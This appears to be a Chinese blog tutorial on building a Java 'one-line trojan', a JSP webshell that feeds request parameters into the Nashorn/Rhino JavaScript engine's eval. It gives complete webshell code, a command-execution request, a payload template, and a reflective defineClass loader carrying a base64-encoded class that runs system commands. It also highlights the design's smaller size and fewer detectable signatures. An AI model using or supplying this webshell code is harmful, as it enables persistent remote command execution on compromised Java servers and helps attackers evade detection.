手把手簡單制作一個 Java 木馬程序
你知道的越多,不知道的就越多,業(yè)余的像一棵小草!
你來,我們一起精進(jìn)!你不來,我和你的競爭對手一起精進(jìn)!
編輯:業(yè)余草
juejin.cn/post/6990715558178062372
推薦:https://www.xttblog.com/?p=5253
前言
一直以來,Java 一句話木馬都是采用打入字節(jié)碼 defineClass 實現(xiàn)的。這種方法的優(yōu)勢是可以完整的打進(jìn)去一個類,可以幾乎實現(xiàn) Java 上的所有功能。不足之處就是 Payload 過于巨大,并且不像腳本語言一樣方便修改。并且還存在很多特征,例如繼承 ClassLoader,反射調(diào)用 defineClass 等。本在這里提出一種 Java 一句話木馬:利用 Java 中 JS 引擎實現(xiàn)的一句話木馬。
基本原理
Java沒有eval函數(shù),Js有eval函數(shù),可以把字符串當(dāng)代碼解析。 Java從1.6開始自帶ScriptEngineManager這個類,原生支持調(diào)用js,無需安裝第三方庫。 ScriptEngine支持在Js中調(diào)用Java的對象。
綜上所述,我們可以利用Java調(diào)用JS引擎的eval,然后在Payload中反過來調(diào)用Java對象,這就是本文提出的新型Java一句話的核心原理。
ScriptEngineManager全名javax.script.ScriptEngineManager,從Java 6開始自帶。其中Java 6/7采用的js解析引擎是Rhino,而從java8開始換成了Nashorn。不同解析引擎對同樣的代碼有一些差別,這點后面有所體現(xiàn)。
如果說原理其實一兩句話就可以說清楚,但是難點在于Payload的編寫。跨語言調(diào)用最大的一個難點就是數(shù)據(jù)類型以及方法的轉(zhuǎn)換。例如Java中有byte數(shù)組,Js中沒有怎么辦?C++里有指針但是Java里沒有這個玩意怎么辦?
在實現(xiàn)期間踩了很多的坑,這篇文章跟大家一起掰扯掰扯,希望能給大家提供點幫助。
獲取腳本引擎
//通過腳本名稱獲取:
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript"); //簡寫為js也可以
//通過文件擴(kuò)展名獲取:
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
//通過MIME類型來獲取:
ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");
綁定對象
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));
或者通過 eval 的重載函數(shù),直接把對象通過一個HashMap放進(jìn)去
new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}))
eval
綜合上面兩步,有很多種寫法,例如:
shell.jsp
<%
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));
%>
或者直接縮寫成一句:
<%
new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("mr6"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}));
%>
以執(zhí)行命令為例:
?POST:mr6=java.lang.Runtime.getRuntime().exec("calc");
?

即可達(dá)到命令執(zhí)行的效果。
基本語法
翻閱文檔比較枯燥,這里挑一些用到的說一說。
感興趣的同學(xué)也可以看一下原文檔:https://docs.oracle.com/en/java/javase/12/scripting/java-scripting-programmers-guide.pdf
調(diào)用Java方法
前面加上全限定類名即可
var s = [3];
s[0] = "cmd";
s[1] = "/c";
s[2] = "whoami";//yzddmr6
var p = java.lang.Runtime.getRuntime().exec(s);
var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");
var result = sc.hasNext() ? sc.next() : "";
sc.close();
導(dǎo)入Java類型
var Vector = java.util.Vector;
var JFrame = Packages.javax.swing.JFrame;
//這種寫法僅僅支持Nashorn,Rhino并不支持
var Vector = Java.type("java.util.Vector")
var JFrame = Java.type("javax.swing.JFrame")
創(chuàng)建Java類型的數(shù)組
// Rhino
var Array = java.lang.reflect.Array
var intClass = java.lang.Integer.TYPE
var array = Array.newInstance(intClass, 8)
// Nashorn
var IntArray = Java.type("int[]")
var array = new IntArray(8)
導(dǎo)入Java類
默認(rèn)情況下,Nashorn 不會導(dǎo)入Java的包。這樣主要為了避免類型沖突,比如你寫了一個new String,引擎怎么知道你new的是Java的String還是js的String?所以所有的Java的調(diào)用都需要加上全限定類名。但是這樣寫起來很不方便。
這個時候大聰明Mozilla Rhino 就想了一個辦法,整了個擴(kuò)展文件,里面提供了importClass 跟importPackage 方法,可以導(dǎo)入指定的Java包。
importClass 導(dǎo)入指定Java的類,現(xiàn)在推薦用Java.type importPackage 導(dǎo)入一個Java包,類似import com.yzddmr6.*,現(xiàn)在推薦用JavaImporter
這里需要注意的是,Rhino對該語法的錯誤處理機(jī)制,當(dāng)被訪問的類存在時,Rhino加載該class,而當(dāng)其不存在時,則把它當(dāng)成package名稱,而并不會報錯。
load("nashorn:mozilla_compat.js");
importClass(java.util.HashSet);
var set = new HashSet();
importPackage(java.util);
var list = new ArrayList();
在一些特殊情況下,導(dǎo)入的全局包會影響js中的函數(shù),例如類名沖突。這個時候可以用JavaImporter,并配合with語句,對導(dǎo)入的Java包設(shè)定一個使用范圍。
// create JavaImporter with specific packages and classes to import
var SwingGui = new JavaImporter(javax.swing,
javax.swing.event,
javax.swing.border,
java.awt.event);
with (SwingGui) {
// 在with里面才可以調(diào)用swing里面的類,防止污染
var mybutton = new JButton("test");
var myframe = new JFrame("test");
}
方法調(diào)用與重載
方法在JavaScript中實際上是對象的一個屬性,所以除了使用 . 來調(diào)用方法之外,也可以使用[]來調(diào)用方法:
var System = Java.type('java.lang.System');
System.out.println('Hello, World'); // Hello, World
System.out['println']('Hello, World'); // Hello, World
Java支持重載(Overload)方法,例如,System.out 的 println 有多個重載版本,如果你想指定特定的重載版本,可以使用[]指定參數(shù)類型。例如:
var System = Java.type('java.lang.System');
System.out['println'](3.14); // 3.14
System.out['println(double)'](3.14); // 3.14
System.out['println(int)'](3.14); // 3
Payload結(jié)構(gòu)設(shè)計
詳情寫在注釋里了
//導(dǎo)入基礎(chǔ)拓展
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
//導(dǎo)入常見包
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
var output = new StringBuffer(""); //輸出
var cs = "${jspencode}"; //設(shè)置字符集編碼
var tag_s = "${tag_s}"; //開始符號
var tag_e = "${tag_e}"; //結(jié)束符號
try {
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
function decode(str) {
//參數(shù)解碼
str = str.substr(2);
var bt = Base64DecodeToByte(str);
return new java.lang.String(bt, cs);
}
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = Base64.getDecoder().decode(str);
}
return bt;
}
function asoutput(str) {
//回顯加密
return str;
}
function func(z1) {
//eval function
return z1;
}
output.append(func(z1)); //添加功能函數(shù)回顯
} catch (e) {
output.append("ERROR:// " + e.toString()); //輸出錯誤
}
try {
response.getWriter().print(tag_s + asoutput(output.toString()) + tag_e); //回顯
} catch (e) {}
語法問題的坑
兩種語言對象間的相互轉(zhuǎn)換
要注意的是,在遇到Java跟JS可能存在類型沖突的地方,即使導(dǎo)入了包也要加上全限定類名。
在編寫payload的時候被坑了很久的一個問題就是,在導(dǎo)入java.lang以后寫new String(bt,cs)沒有加全限定類名,導(dǎo)致打印出來的一直是一個字符串地址。
正確的操作是new java.lang.String(bt,cs)。因為在Java和Js中均存在String類,按照優(yōu)先級,直接new出來的會是Js的對象。
下面附上類型對比表:
| JavaScript Value | JavaScript Type | Java Type | Is Scriptable | Is Function |
|---|---|---|---|---|
| {a:1, b:['x','y']} | object | org.mozilla.javascript.NativeObject | 「+」 | - |
| [1,2,3] | object | org.mozilla.javascript.NativeArray | 「+」 | - |
| 1 | number | java.lang.Double | - | - |
| 1.2345 | number | java.lang.Double | - | - |
| NaN | number | java.lang.Double | - | - |
| Infinity | number | java.lang.Double | - | - |
| -Infinity | number | java.lang.Double | - | - |
| true | boolean | java.lang.Boolean | - | - |
| "test" | string | java.lang.String | - | - |
| null | object | null | - | - |
| undefined | undefined | org.mozilla.javascript.Undefined | - | - |
| function () { } | function | org.mozilla.javascript.gen.c1 | 「+」 | 「+」 |
| /.*/ | object | org.mozilla.javascript.regexp.NativeRegExp | 「+」 | 「+」 |
Rhino/Nashorn解析的差異
這也是當(dāng)時一個坑點,看下面一段代碼
var readonlyenv = System.getenv();
var cmdenv = new java.util.HashMap(readonlyenv);
var envs = envstr.split("\\|\\|\\|asline\\|\\|\\|");
for (var i = 0; i < envs.length; i++) {
var es = envs[i].split("\\|\\|\\|askey\\|\\|\\|");
if (es.length == 2) {
cmdenv.put(es[0], es[1]);
}
}
var e = [];
var i = 0;
print(cmdenv+'\n');
for (var key in cmdenv) {//關(guān)鍵
print("key: "+key+"\n");
e[i] = key + "=" + cmdenv[key];
i++;
}
其中cmdenv是個HashMap,這段代碼在Java 8中Nashorn引擎可以正常解析,var key in cmdenv的時候把cmdenv的鍵給輸出了

但是在Java 6下運行時,Rhino把他當(dāng)成了一個js對象,把其屬性輸出了

所以涉及到這種混合寫法就會有異議,不同的引擎有不同的解釋。
解決辦法使用Java迭代器即可,不摻雜js的寫法。
var i = 0;
var iter = cmdenv.keySet().iterator();
while (iter.hasNext()) {
var key = iter.next();
var val = cmdenv.get(key);
//print("\nkey:" + key);
//print("\nval:" + val);
e[i] = key + "=" + val;
i++;
}
反射的坑
在Java中,如果涉及到不同版本之間類的包名不一樣,我們通常不能直接導(dǎo)入,而要使用反射的寫法。
例如base64解碼的時候,Java的寫法如下
public byte[] Base64DecodeToByte(String str) {
byte[] bt = null;
String version = System.getProperty("java.version");
try {
if (version.compareTo("1.9") >= 0) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
} else {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
}
return bt;
} catch (Exception e) {
return new byte[]{};
}
}
改寫成js風(fēng)格后,發(fā)現(xiàn)會有一些奇奇怪怪的BUG。(后來發(fā)現(xiàn)反射其實也可以實現(xiàn),導(dǎo)入Java類型然后再傳入反射參數(shù)即可,就是比較麻煩)

function test(str) {
var bt = null;
var version = System.getProperty("java.version");
if (version.compareTo("1.9") >= 0) {
var clazz = java.lang.Class.forName("java.util.Base64");
var decoder = clazz.getMethod("getDecoder").invoke(null);
bt = decoder
.getClass()
.getMethod("decode", java.lang.String.class)
.invoke(decoder, str);
} else {
var clazz = java.lang.Class.forName("sun.misc.BASE64Decoder");
bt = clazz
.getMethod("decodeBuffer", java.lang.String.class)
.invoke(clazz.newInstance(), str);
}
return bt;
}
但是在Js中,我們并不需要這么麻煩。上面提到過如果importPackage了一個不存在的包名,Js引擎會將這個錯誤給忽略,并且由于Js松散的語言特性,我們僅僅需要正射+異常捕獲就可以完成目的。大大減小了payload編寫的復(fù)雜度。
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = Base64.getDecoder().decode(str);
}
return bt;
}
保底操作
理論上,我們可以用js引擎的一句話實現(xiàn)所有字節(jié)碼一句話的功能,退一萬步講,如果有些功能實在不好實現(xiàn),或者說想套用現(xiàn)有的payload應(yīng)該怎么辦呢。
我們可以用java調(diào)用js后,再調(diào)用defineClass來實現(xiàn):
編寫一個命令執(zhí)行的類:calc.java
import java.io.IOException;
public class calc {
public calc(String cmd){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
編譯之后base64一下
> base64 -w 0 calc.class
yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIA
填入下方payload
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
var output = new StringBuffer("");
var cs = "UTF-8";
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = new Base64().getDecoder().decode(str);
}
return bt;
}
function define(Classdata, cmd) {
var classBytes = Base64DecodeToByte(Classdata);
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
return cc.getConstructor(java.lang.String.class).newInstance(cmd);
}
output.append(
define(
"yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==",
"calc"
)
);
response.getWriter().print(output);
成功彈出計算器

也就是說,新型一句話在特殊情況下,還可以繼續(xù)兼容原有的字節(jié)碼一句話,甚至復(fù)用原有的Payload。
測試
測試環(huán)境:Java>=6
同樣的列目錄Payload,原有的字節(jié)碼方式數(shù)據(jù)包長度為7378,而新型JSP一句話僅僅為2481,差不多為原有的三分之一。


列目錄
最后
基于JS引擎的Java一句話體積更小,變化種類更多,使用起來更靈活。范圍為Java 6及以上,基本可以滿足需求,但是Payload寫起來非常麻煩,也不好調(diào)試,算是有利有弊。
提出新型一句話并不是說一定要取代原有的打入字節(jié)碼的方式,只是在更復(fù)雜情況下,可以提供給滲透人員更多的選擇。
